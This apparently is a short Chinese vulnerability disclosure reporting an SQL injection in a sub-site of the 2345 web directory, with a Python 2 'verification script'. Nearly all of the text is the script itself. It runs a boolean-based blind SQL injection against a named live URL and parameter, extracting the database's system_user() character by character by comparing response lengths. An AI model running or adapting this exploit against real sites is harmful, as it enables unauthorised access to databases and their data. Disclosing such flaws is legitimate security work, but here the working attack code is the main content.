2345网址导航某分处存在SQL注入(附验证脚本)

#!/usr/bin/env python
 #-*- coding: utf-8 -*-
 
 
 import time
 import string
 import binascii
 import requests
 
 
 res = ''
 character = "%." + string.digits + "@" + string.ascii_uppercase + "_" + string.ascii_lowercase
 
 headers = {
  'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/537.36',
  'Referer': 'www.baidu.com',
  }
 
 
 for i in range(1, 21):
  for p in character:
   while True:
    try:
     url = "http://so.2345.com/2345app/get_app_news.php?nt=0&type=660 and position({} in system_user())={}&id=".format('0x' + binascii.b2a_hex(p), i)
     req = requests.get(url, headers=headers)
     print req.url + '   --- ',
     print len(req.text)
     break
    except:
     pass
   if len(req.text) > 100:
    res += p
    print "/n[Result]: " + res + "/n"
    break
   time.sleep(0.5)
 
 print "/n/n[Finish]: " + res